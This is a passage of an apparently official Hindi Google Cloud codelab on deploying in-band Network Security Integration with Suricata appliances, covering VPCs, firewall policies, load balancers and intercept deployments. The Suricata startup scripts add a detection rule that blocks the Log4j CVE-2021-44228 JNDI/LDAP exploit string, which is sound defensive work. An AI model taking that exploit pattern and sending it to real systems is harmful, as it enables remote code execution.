इन-बैंड नेटवर्क सिक्योरिटी इंटिग्रेशन (एनएसआई) कोडलैब

1. परिचय

Network Security Integration

Network Security Integration (NSI) की मदद से, अपने वर्कलोड के लिए नेटवर्क सुरक्षा को बेहतर बनाया जा सकता है. आपको तीसरे पक्ष के इंडिपेंडेंट सॉफ़्टवेयर वेंडर (आईएसवी) से, खास तौर पर तैयार किया गया कोई ऐप्लिकेशन इस्तेमाल करना पड़ सकता है. इसके अलावा, पेलोड की जांच करने के लिए, डीप पैकेट इंस्पेक्शन (डीपीआई) इंजन का इस्तेमाल किया जा सकता है. Google Cloud, तीसरे पक्ष के इन डिवाइसों के साथ आसानी से इंटिग्रेट करने की सुविधा देता है. इससे, डिवाइसों को बिना किसी नेटवर्क या राउटिंग में बदलाव किए आसानी से डिप्लॉय किया जा सकता है.

Google Cloud, नेटवर्क सुरक्षा इंटिग्रेशन के दो वर्शन उपलब्ध कराता है - आउट-ऑफ़-बैंड और इन-बैंड. इस लैब में, इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन को डिप्लॉय करने का तरीका बताया गया है.

इन-बैंड नेटवर्क सिक्योरिटी इंटिग्रेशन

नेटवर्क सुरक्षा इंटिग्रेशन, पैकेट इंटरसेप्ट टेक्नोलॉजी का इस्तेमाल करके इन-बैंड इंटिग्रेशन उपलब्ध कराता है. इससे, Google Cloud वर्कलोड की पूरी तरह से जांच करने के लिए, नेटवर्क ट्रैफ़िक के पाथ में तीसरे पक्ष के नेटवर्क ऐप्लिकेशन रखे जा सकते हैं. यह प्रोसेस, Generic Network Virtualization Encapsulation (GENEVE) का इस्तेमाल करती है. इससे, ओरिजनल सोर्स और डेस्टिनेशन आईपी पतों में बदलाव किए बिना, पैकेट को सुरक्षित तरीके से डिवाइस तक पहुंचाया जा सकता है.

इन-बैंड इंटिग्रेशन, तीसरे पक्ष के इनलाइन नेटवर्क ऐप्लिकेशन को बंप-इन-द-वायर मोड में डिप्लॉय और इस्तेमाल करने के लिए, सेवा पर आधारित तरीका उपलब्ध कराता है. सेवा देने वाली कंपनी के तौर पर, तीसरे पक्ष के नेटवर्क ऐप्लिकेशन के ऐसे सेट को पब्लिश किया जा सकता है जिसे इंटरसेप्ट डिप्लॉयमेंट के तौर पर इस्तेमाल किया जा सकता है. सेवा का इस्तेमाल करने वाले व्यक्ति के तौर पर, Cloud Next Generation Firewall की नीतियों और नियमों का इस्तेमाल किया जा सकता है. इससे, ट्रैफ़िक को बारीकी से चुना जा सकता है, ताकि उसे जांच के लिए स्थानीय इंटरसेप्ट एंडपॉइंट पर पारदर्शी तरीके से रीडायरेक्ट किया जा सके.

61bfbf754e04cf70.png

पहली इमेज. इन-बैंड इंटिग्रेशन सेवा का डिप्लॉयमेंट आर्किटेक्चर

इन-बैंड एनएसआई इंटिग्रेशन के बारे में ज़्यादा जानने के लिए, इन-बैंड इंटिग्रेशन की खास जानकारी देखें.

In-band Service Producer

सर्विस प्रोड्यूसर, तीसरे पक्ष के ऐसे ऐप्लिकेशन होते हैं जहां तीसरे पक्ष के ऐप्लिकेशन को डिप्लॉय और मैनेज किया जाता है. इसे आपके संगठन का कोई व्यक्ति (सुरक्षा टीम वगैरह) या कोई बाहरी वेंडर मैनेज कर सकता है. प्रोड्यूसर, अपनी वर्चुअल मशीनों को रजिस्टर करते हैं. ये वर्चुअल मशीनें, तीसरे पक्ष के ऐप्लिकेशन हो सकती हैं. इन्हें अपने वीपीसी नेटवर्क में मौजूद इंटरनल पासथ्रू नेटवर्क लोड बैलेंसर के बैकएंड के तौर पर रजिस्टर किया जाता है. ये डिवाइस, नेटवर्क ट्रैफ़िक की जांच करते हैं. इस ट्रैफ़िक को इन डिवाइसों पर रीडायरेक्ट किया जाता है. इसके बाद, सेवा देने वाली कंपनियां इंटरसेप्ट डिप्लॉयमेंट बनाती हैं. यह एक ज़ोनल संसाधन है, जो इंटरनल पासथ्रू नेटवर्क लोड बैलेंसर के फ़ॉरवर्डिंग नियम की ओर इशारा करता है.

इंटरसेप्ट डिप्लॉयमेंट, ज़ोनल संसाधन होता है. यह किसी खास ज़ोन के लिए, प्रोड्यूसर की निरीक्षण सेवा को दिखाता है. प्रोड्यूसर, उन सभी ज़ोन के लिए इंटरसेप्ट डिप्लॉयमेंट बनाते हैं जहां उन्होंने अपने वीएम डिप्लॉय किए हैं.

इंटरसेप्ट डिप्लॉयमेंट ग्रुप, ग्लोबल और प्रोजेक्ट के स्कोप वाला एक रिसॉर्स होता है. इसकी मदद से, उपभोक्ता, प्रोड्यूसर की जांच सेवाओं से जुड़ सकते हैं. प्रोड्यूसर, इंटरसेप्ट डिप्लॉयमेंट ग्रुप बनाते हैं, ताकि एक से ज़्यादा ज़ोनल इंटरसेप्ट डिप्लॉयमेंट को एक साथ ग्रुप किया जा सके. प्रोड्यूसर, IAM का इस्तेमाल करके यह कंट्रोल करते हैं कि कौनसे उपभोक्ता उनके डिप्लॉयमेंट ग्रुप से कनेक्ट हो सकते हैं.

ज़्यादा जानकारी के लिए, इंटरसेप्ट डिप्लॉयमेंट ग्रुप की खास जानकारी और इंटरसेप्ट डिप्लॉयमेंट की खास जानकारी लेख पढ़ें.

इन-बैंड सर्विस कंज़्यूमर

सेवा का इस्तेमाल करने वाले लोग, सेवा देने वाली कंपनियों की ओर से दी जाने वाली जांच सेवाओं का इस्तेमाल करते हैं. उपयोगकर्ता यह तय करते हैं कि उन्हें किन वीपीसी की जांच करानी है और किस प्रोड्यूसर से करानी है. इसके लिए, उपभोक्ता एक इंटरसेप्ट एंडपॉइंट ग्रुप बनाते हैं. यह एक ग्लोबल संसाधन होता है, जो प्रोड्यूसर-कंज्यूमर के बीच के संबंध को दिखाता है. इसके बाद, वे इंटरसेप्ट एंडपॉइंट ग्रुप को प्रोड्यूसर के इंटरसेप्ट डिप्लॉयमेंट ग्रुप से लिंक करते हैं.

जिन वीपीसी से ट्रैफ़िक की जांच करनी है उनसे इंटरसेप्ट एंडपॉइंट ग्रुप को जोड़ने के लिए, उपभोक्ता इंटरसेप्ट एंडपॉइंट ग्रुप असोसिएशन बनाते हैं. उपयोगकर्ता, नेटवर्क फ़ायरवॉल की नीतियां बनाते और उनका इस्तेमाल करते हैं. इससे वे उस ट्रैफ़िक को चुन पाते हैं जिसे जांच के लिए प्रोड्यूसर को भेजा जाना चाहिए. उपयोगकर्ता, सुरक्षा प्रोफ़ाइल ग्रुप बनाते हैं. इसमें एक सुरक्षा प्रोफ़ाइल होती है, जो उनके इंटरसेप्ट एंडपॉइंट ग्रुप को रेफ़र करती है. इसके बाद, खरीदार फ़ायरवॉल का नियम बनाते हैं, ताकि खास शर्तों को पूरा करने वाले ट्रैफ़िक को प्रॉड्यूसर के डिवाइसों पर रीडायरेक्ट किया जा सके.

इंटरसेप्ट एंडपॉइंट ग्रुप(आईईजी), प्रोजेक्ट लेवल का संसाधन होता है. हालांकि, आईईजी और आईईजी असोसिएशन का एक ही प्रोजेक्ट में होना ज़रूरी नहीं है. आपके संगठन के किसी अन्य प्रोजेक्ट में, IEG के साथ IEG असोसिएशन को रेफ़रंस किया जा सकता है. यह प्रोड्यूसर-कंज्यूमर के बीच के संबंध में, कंज्यूमर की भूमिका को दिखाता है. उपयोगकर्ता, प्रोड्यूसर की जांच सेवा का इस्तेमाल करने के लिए, इंटरसेप्ट एंडपॉइंट ग्रुप बनाते हैं. उपयोगकर्ता के हर इंटरसेप्ट एंडपॉइंट ग्रुप को, सेवा देने वाली कंपनी के इंटरसेप्ट डिप्लॉयमेंट ग्रुप से जोड़ा जाता है.

ज़्यादा जानकारी के लिए, इंटरसेप्ट एंडपॉइंट ग्रुप और असोसिएशन की खास जानकारी लेख पढ़ें.

उपयोगकर्ताओं को फ़ायरवॉल नीति का नियम बनाना होगा, ताकि वे ट्रैफ़िक को अपने इंटरसेप्ट एंडपॉइंट ग्रुप पर रीडायरेक्ट कर सकें. खरीदार, फ़ायरवॉल की नीति के नियम में मैचिंग की शर्तें तय कर सकते हैं. इससे वे यह तय कर सकते हैं कि निर्माता के डिवाइसों को किस तरह के ट्रैफ़िक की जांच करनी है.

उपयोगकर्ता, कस्टम इंटरसेप्ट सिक्योरिटी प्रोफ़ाइल बनाते हैं. इससे यह तय किया जाता है कि ट्रैफ़िक की जांच करने के लिए, किस इंटरसेप्ट एंडपॉइंट ग्रुप का इस्तेमाल किया जाना चाहिए.

उपयोगकर्ता, सुरक्षा प्रोफ़ाइल ग्रुप बनाते हैं. इससे सुरक्षा जांच की उन सुविधाओं का ग्रुप तय किया जाता है जिन्हें ट्रैफ़िक के किसी सबसेट पर लागू किया जाना चाहिए. सुरक्षा प्रोफ़ाइल ग्रुप में, इंटरसेप्ट करने की कस्टम सुरक्षा प्रोफ़ाइल होती है.

आपको क्या बनाने को मिलेगा

ea01a16258c792c1.png

दूसरी इमेज. इस कोडलैब के लिए, डिप्लॉयमेंट आर्किटेक्चर की खास जानकारी

इस कोडलैब को आसान बनाने के लिए, आपको एक ही प्रोजेक्ट का इस्तेमाल करना होगा. साथ ही, दो वीपीसी नेटवर्क बनाने होंगे. इसके अलावा, आपको कई नेटवर्क और सुरक्षा संसाधनों को मैनेज करना होगा. इस लैब में, तीसरे पक्ष के ऐप्लिकेशन के साथ इन-बैंड नेटवर्क सेवा इंटिग्रेशन को डिप्लॉय करने का तरीका दिखाया जाएगा. इससे सुरक्षा को पारदर्शी तरीके से लागू किया जा सकेगा.

जांच किए जाने वाले फ़्लो को Cloud Firewall के मैचिंग पैरामीटर का इस्तेमाल करके चुना जाएगा. इनमें 5-टपल (सोर्स आईपी, डेस्टिनेशन आईपी, प्रोटोकॉल, सोर्स पोर्ट, डेस्टिनेशन पोर्ट) शामिल हैं. इस लैब को आसान बनाने के लिए, टीसीपी पोर्ट 80 पर सभी EGRESS ट्रैफ़िक की जांच की जाएगी.

प्रोड्यूसर, डेस्टिनेशन पोर्ट 6081 वाले यूडीपी पैकेट के लिए, प्रोड्यूसर वीपीसी सबनेट गेटवे आईपी (10.0.0.1/32) से इनग्रेस की अनुमति देगा. यह GENEVE के लिए जाना-माना पोर्ट है.

नेटवर्क फ़ायरवॉल की नीति के नियमबेस की आखिरी स्थिति, यहां दी गई टेबल जैसी होगी:

Producer Network Policy:

प्राथमिकता

दिशा

प्रोटोकॉल

Target

सोर्स

डेस्टिनेशन

Dest Port

कार्रवाई

100

इन्ग्रेस डेटा ट्रैफ़िक

सभी

सभी

सेहत से जुड़े आकलन

कोई भी

कोई भी

अनुमति दें

200

इन्ग्रेस डेटा ट्रैफ़िक

सभी

सभी

IAP

कोई भी

कोई भी

अनुमति दें

300

इन्ग्रेस डेटा ट्रैफ़िक

UDP

सभी

10.0.0.1/32

कोई भी

6081

अनुमति दें

उपयोगकर्ता के नेटवर्क से जुड़ी नीति:

प्राथमिकता

दिशा

प्रोटोकॉल

Target

सोर्स

डेस्टिनेशन

Dest Port

कार्रवाई

200

इन्ग्रेस डेटा ट्रैफ़िक

TCP

सभी

IAP

कोई भी

22

अनुमति दें

800

इग्रेस डेटा ट्रैफ़िक

TCP

सभी

कोई भी

कोई भी

80

इंटरसेप्ट

आपको क्या सीखने को मिलेगा

  • इन-बैंड Network Security Integration को डिप्लॉय करने का तरीका

आपको किन चीज़ों की ज़रूरत होगी

  • Google Cloud संगठन और प्रोजेक्ट
  • IAM से जुड़ी ज़रूरी अनुमतियां
  • नेटवर्किंग कॉम्पोनेंट को कॉन्फ़िगर करने और इंस्टेंस डिप्लॉय करने की जानकारी
  • नेटवर्क की नीति के लिए फ़ायरवॉल कॉन्फ़िगरेशन के बारे में जानकारी

2. शुरू करने से पहले

IAM की भूमिकाएं और अनुमतियां

इन-बैंड नेटवर्क सुरक्षा इंटिग्रेशन (एनएसआई) कोडलैब को पूरा करने के लिए, आपके पास ये IAM भूमिकाएं होनी चाहिए:

  • Compute Network Admin (roles/compute.networkAdmin): इस भूमिका की ज़रूरत, वीपीसी नेटवर्क, सबनेट, Cloud Router, NAT गेटवे, और लोड बैलेंसर बैकएंड सेवाएं बनाने और मैनेज करने के लिए होती है.
  • कंप्यूट सिक्योरिटी एडमिन (roles/compute.securityAdmin): ग्लोबल नेटवर्क फ़ायरवॉल की नीतियां और नियम बनाने, कॉन्फ़िगर करने, और उनसे जोड़ने के लिए ज़रूरी है.
  • Compute इंस्टेंस एडमिन (roles/compute.instanceAdmin.v1): Suricata ऐप्लिकेशन और उपभोक्ता टेस्टिंग वीएम को डिप्लॉय करने, उनमें एसएसएच करने, और आखिर में उन्हें मिटाने के लिए ज़रूरी है.
  • इंटरसेप्ट डिप्लॉयमेंट एडमिन (roles/networksecurity.interceptDeploymentAdmin): इसका इस्तेमाल प्रोड्यूसर, ज़ोनल इंटरसेप्ट डिप्लॉयमेंट और ग्लोबल डिप्लॉयमेंट ग्रुप बनाने और मैनेज करने के लिए करता है.
  • इंटरसेप्ट एंडपॉइंट एडमिन (roles/networksecurity.interceptEndpointAdmin): इसका इस्तेमाल ग्राहक, इंटरसेप्ट एंडपॉइंट ग्रुप बनाने और उन्हें अपने वीपीसी नेटवर्क से जोड़ने के लिए करता है.
  • इंटरसेप्ट डिप्लॉयमेंट उपयोगकर्ता (roles/networksecurity.interceptDeploymentUser): यह भूमिका, प्रोड्यूसर प्रोजेक्ट में ज़रूरी होती है. इससे उपभोक्ता को प्रोड्यूसर के डिप्लॉयमेंट ग्रुप से कनेक्ट करने की अनुमति दी जा सकती है.
  • सुरक्षा प्रोफ़ाइल का एडमिन (roles/networksecurity.securityProfileAdmin): संगठन के लेवल पर, कस्टम इंटरसेप्ट सुरक्षा प्रोफ़ाइलें और सुरक्षा प्रोफ़ाइल ग्रुप बनाने और उन्हें मैनेज करने के लिए ज़रूरी है.
  • Service Usage Admin (roles/serviceusage.serviceUsageAdmin): NSI की सुविधाओं के लिए ज़रूरी networksecurity.googleapis.com और compute.googleapis.com API को चालू करने के लिए यह भूमिका ज़रूरी है.
  • प्रोजेक्ट व्यूअर (roles/viewer): इस भूमिका की ज़रूरत, पूरे लैब में इस्तेमाल किए गए एनवायरमेंट वैरिएबल के लिए, प्रोजेक्ट कॉन्फ़िगरेशन और संगठन की जानकारी को वापस पाने के लिए होती है.

Google Cloud API

कृपया पक्का करें कि आपके प्रोजेक्ट में ज़रूरी Google Cloud API चालू हों.

ज़रूरी एपीआई चालू करें और Cloud Shell में यहां दी गई gcloud कमांड चलाएं.

gcloud services enable compute.googleapis.com \
networksecurity.googleapis.com \
cloudresourcemanager.googleapis.com

वैरिएबल बनाना/अपडेट करना

इस कोडलैब में, Cloud Shell में gcloud कॉन्फ़िगरेशन लागू करने में मदद करने के लिए, $variables का इस्तेमाल किया गया है.

Cloud Shell में, नीचे दी गई कमांड चलाएं. साथ ही, ब्रैकेट में दी गई जानकारी को अपनी ज़रूरत के हिसाब से बदलें:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zonea=[first-zone from $region]
export zoneb=[second-zone from $region]
export zonec=[third-zone from $region]

3. प्रोड्यूसर की कार्रवाइयां

इस सेक्शन में, प्रोड्यूसर के डिप्लॉयमेंट के बारे में बताया जाएगा. इसमें वीपीसी, तीसरे पक्ष का नेटवर्क वर्चुअल ऐप्लिकेशन, और नेटवर्क सुरक्षा इंटिग्रेशन के लिए ज़रूरी सभी कॉम्पोनेंट को डिप्लॉय करना शामिल है.

वीपीसी और Cloud NAT कॉम्पोनेंट

  1. वीपीसी और सबनेट बनाएं:
gcloud compute networks create producer-vpc --subnet-mode=custom 

gcloud compute networks subnets create producer-$region-subnet \
   --range=10.0.0.0/24 --network=producer-vpc --region=$region
  1. फ़ायरवॉल के नियम के लिए, सबनेट गेटवे का आईपी पता पाएं:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
  1. प्रोड्यूसर वीपीसी के लिए, फ़ायरवॉल की नीति और नियम बनाएं. ये फ़ायरवॉल के नियम, हेल्थ चेक, IAP, और NSI से मिले ट्रैफ़िक को अंदर आने की अनुमति देंगे:
gcloud compute network-firewall-policies create producer-fwpolicy \
  --global
                                                      
gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from ilb health-check ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80 \
        --direction=INGRESS \
        --src-ip-ranges=35.191.0.0/16,130.211.0.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

gcloud compute network-firewall-policies rules create 300 \
        --description="allow GENEVE UDP:6081 packets from gateway" \
        --action=allow \
        --firewall-policy=producer-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=udp:6081 \
        --direction=INGRESS \
        --src-ip-ranges=$gatewayip
 
  1. प्रोड्यूसर वीपीसी को नेटवर्क फ़ायरवॉल की नीति से जोड़ें:
gcloud compute network-firewall-policies associations create \
        --firewall-policy producer-fwpolicy \
        --network producer-vpc \
        --name producer-fwpolicy-association \
        --global-firewall-policy
  1. ज़रूरी पैकेज और अपडेट डाउनलोड करने के लिए, तीसरे पक्ष के नेटवर्क वर्चुअल ऐप्लायंस (एनवीए) के लिए Cloud Router और Cloud NAT डिप्लॉय करें:
gcloud compute addresses create producer-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)")

gcloud compute routers create producer-$region-cr \
  --region=$region --network=producer-vpc

gcloud compute routers nats create producer-cloudnat-$region \
   --router=producer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=producer-$region-cloudnatip

तीसरे पक्ष के वीएम

इस लैब के लिए, आपको Suricata को डिप्लॉय करना होगा. यह ओपन सोर्स थ्रेट डिटेक्शन सेवा है. इस कमांड में एक स्टार्टअप स्क्रिप्ट होती है, जो Suricata को इंस्टॉल और कॉन्फ़िगर करेगी. यहां iptables भी मौजूद हैं. ये GENEVE पैकेट को मैनेज करने और उनका जवाब देने के लिए, सोर्स नेटवर्क अड्रेस ट्रांसलेशन (एसएनएटी) और डेस्टिनेशन नेटवर्क अड्रेस ट्रांसलेशन (डीएनएटी) करते हैं.

  1. अपने पहले ज़ोन में तीसरे पक्ष के NVA को डिप्लॉय करें.
gcloud compute instances create suricata-$zonea \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.3 \
   --zone $zonea \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'
  1. अपने दूसरे ज़ोन में तीसरे पक्ष का NVA डिप्लॉय करें:
gcloud compute instances create suricata-$zoneb \
   --shielded-secure-boot \
   --subnet=producer-$region-subnet \
   --no-address \
   --private-network-ip 10.0.0.4 \
   --zone $zoneb \
   --metadata startup-script='#! /bin/bash
      sudo sysctl -w net.ipv4.ip_forward=1
        apt-get update
        apt-get install nginx suricata tcpdump -y
      sudo suricata-update
      sudo systemctl stop suricata
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
      sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
      sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
      sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
      sudo iptables -I FORWARD -j NFQUEUE
      sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
      sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
      sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
     sudo systemctl daemon-reload
     sudo systemctl stop suricata
     sleep 5
     sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
     sleep 10
'

लोड बैलेंसर के कॉम्पोनेंट बनाने वाले

  1. एक सामान्य हेल्थ चेक बनाएं. इसका इस्तेमाल, तीसरे पक्ष के एनवीए की उपलब्धता की जांच करने के लिए किया जाता है:
gcloud compute health-checks create http nva-hc
  1. हर ज़ोन के लिए, ज़ोनल अन-मैनेज्ड इंस्टेंस ग्रुप बनाएं:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \
   --zone $zonea

gcloud compute instance-groups unmanaged create producer-$zoneb-uig \
   --zone $zoneb
  1. अपने इंस्टेंस को इंस्टेंस ग्रुप में जोड़ें:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea

gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb

पुष्टि करें कि आपके इंस्टेंस ग्रुप में ये इंस्टेंस शामिल हैं. इसके लिए, इन कमांड का इस्तेमाल करें:

gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea

gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb

आउटपुट का उदाहरण:

NAME: suricata-$zonea
STATUS: RUNNING

NAME: suricata-$zoneb
STATUS: RUNNING
  1. इंटरनल यूडीपी बैकएंड सेवा बनाएं:
gcloud compute backend-services create producer-bes \
  --protocol=UDP \
  --region=projects/$project_id/regions/$region \
  --health-checks=projects/$project_id/global/healthChecks/nva-hc \
  --load-balancing-scheme=INTERNAL
  1. बैकएंड सेवा में दोनों इंस्टेंस ग्रुप जोड़ें:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region

gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
  1. फ़ॉरवर्ड करने के नियमों के लिए, इंटरनल आईपी पते रिज़र्व करें. हर इंटरसेप्ट डिप्लॉयमेंट के लिए, फ़ॉरवर्ड करने का एक यूनीक नियम ज़रूरी है:
gcloud compute addresses create producer-fr-$zonea-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.11

gcloud compute addresses create producer-fr-$zoneb-ip \
    --region $region --subnet producer-$region-subnet \
    --addresses 10.0.0.12
  1. हर ज़ोन के लिए, फ़ॉरवर्ड करने का नियम बनाएं. यह ज़रूरी है, क्योंकि इंटरसेप्ट डिप्लॉयमेंट के लिए, फ़ॉरवर्ड करने का यूनीक नियम ज़रूरी होता है:
gcloud compute forwarding-rules create producer-fr-$zonea \
  --ip-protocol=UDP --address=10.0.0.11 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
  
gcloud compute forwarding-rules create producer-fr-$zoneb \
  --ip-protocol=UDP --address=10.0.0.12 \
  --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \
  --ip-version=IPV4 \
  --ports=6081 \
  --load-balancing-scheme=INTERNAL \
  --region=projects/$project_id/regions/$region \
  --network=projects/$project_id/global/networks/producer-vpc \
  --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet

Network Security Integration Components

  1. इंटरसेप्ट डिप्लॉयमेंट ग्रुप बनाने के लिए:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
    --location global \
    --no-async \
    --network producer-vpc

पुष्टि करें कि डिप्लॉयमेंट ग्रुप बन गया है:

gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
    --location global

आउटपुट का उदाहरण:

createTime: '2025-01-16T06:13:48.075183628Z'
name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
network: projects/$project_id/global/networks/producer-vpc
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:13:50.556947138Z'
  1. हर ज़ोन के लिए, इंटरसेप्ट डिप्लॉयमेंट बनाएं:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
    --location $zonea \
    --forwarding-rule producer-fr-$zonea \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group


gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
    --location $zoneb \
    --forwarding-rule producer-fr-$zoneb \
    --forwarding-rule-location $region \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

पुष्टि करें कि इंटरसेप्ट डिप्लॉयमेंट सही तरीके से बनाए गए हैं:

gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
    --location $zonea

gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
    --location $zoneb

आउटपुट का उदाहरण:

createTime: '2025-01-16T06:27:08.834875130Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:14.401072601Z'


createTime: '2025-01-16T06:33:47.798469786Z'
forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb
interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb
reconciling: false
state: ACTIVE
updateTime: '2025-01-16T06:34:25.258447474Z'

बधाई हो, आपने प्रोड्यूसर के तौर पर सेटअप पूरा कर लिया है. इसके बाद, आपको उपभोक्ता के लिए कॉन्फ़िगरेशन करना होगा, ताकि ट्रैफ़िक को इंटरसेप्ट किया जा सके. साथ ही, इसे तीसरे पक्ष के डिवाइसों को भेजा जा सके, ताकि नीति लागू की जा सके.

4. उपयोगकर्ता की कार्रवाइयां

इस लैब में, आसानी से समझने के लिए एक ही प्रोजेक्ट में अलग-अलग वीपीसी का इस्तेमाल किया गया है. हालांकि, असल दुनिया के एनवायरमेंट में, प्रोड्यूसर और कंज्यूमर के संसाधन अलग-अलग प्रोजेक्ट या अलग-अलग संगठनों में भी मौजूद हो सकते हैं.

वीपीसी और Cloud NAT कॉम्पोनेंट

  1. वीपीसी और सबनेट बनाएं:
gcloud compute networks create consumer-vpc --subnet-mode=custom 

gcloud compute networks subnets create consumer-$region-subnet \
   --range=192.168.0.0/24 --network=consumer-vpc --region=$region
  1. Cloud Router और Cloud NAT गेटवे बनाएं:
gcloud compute addresses create consumer-$region-cloudnatip \
     --region=$region

export cloudnatip=$(gcloud compute addresses list \
     --filter=name:consumer-$region-cloudnatip \
     --format="value(address)")

gcloud compute routers create consumer-$region-cr \
    --region=$region \
    --network=consumer-vpc

gcloud compute routers nats create consumer-cloudnat-$region \
   --router=consumer-$region-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=consumer-$region-cloudnatip

इंटरसेप्ट एंडपॉइंट ग्रुप और असोसिएशन

  1. इंटरसेप्ट एंडपॉइंट ग्रुप बनाएं:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
    --location global \
    --no-async \
    --intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group

इस बात की पुष्टि करना कि एंडपॉइंट बन गया है:

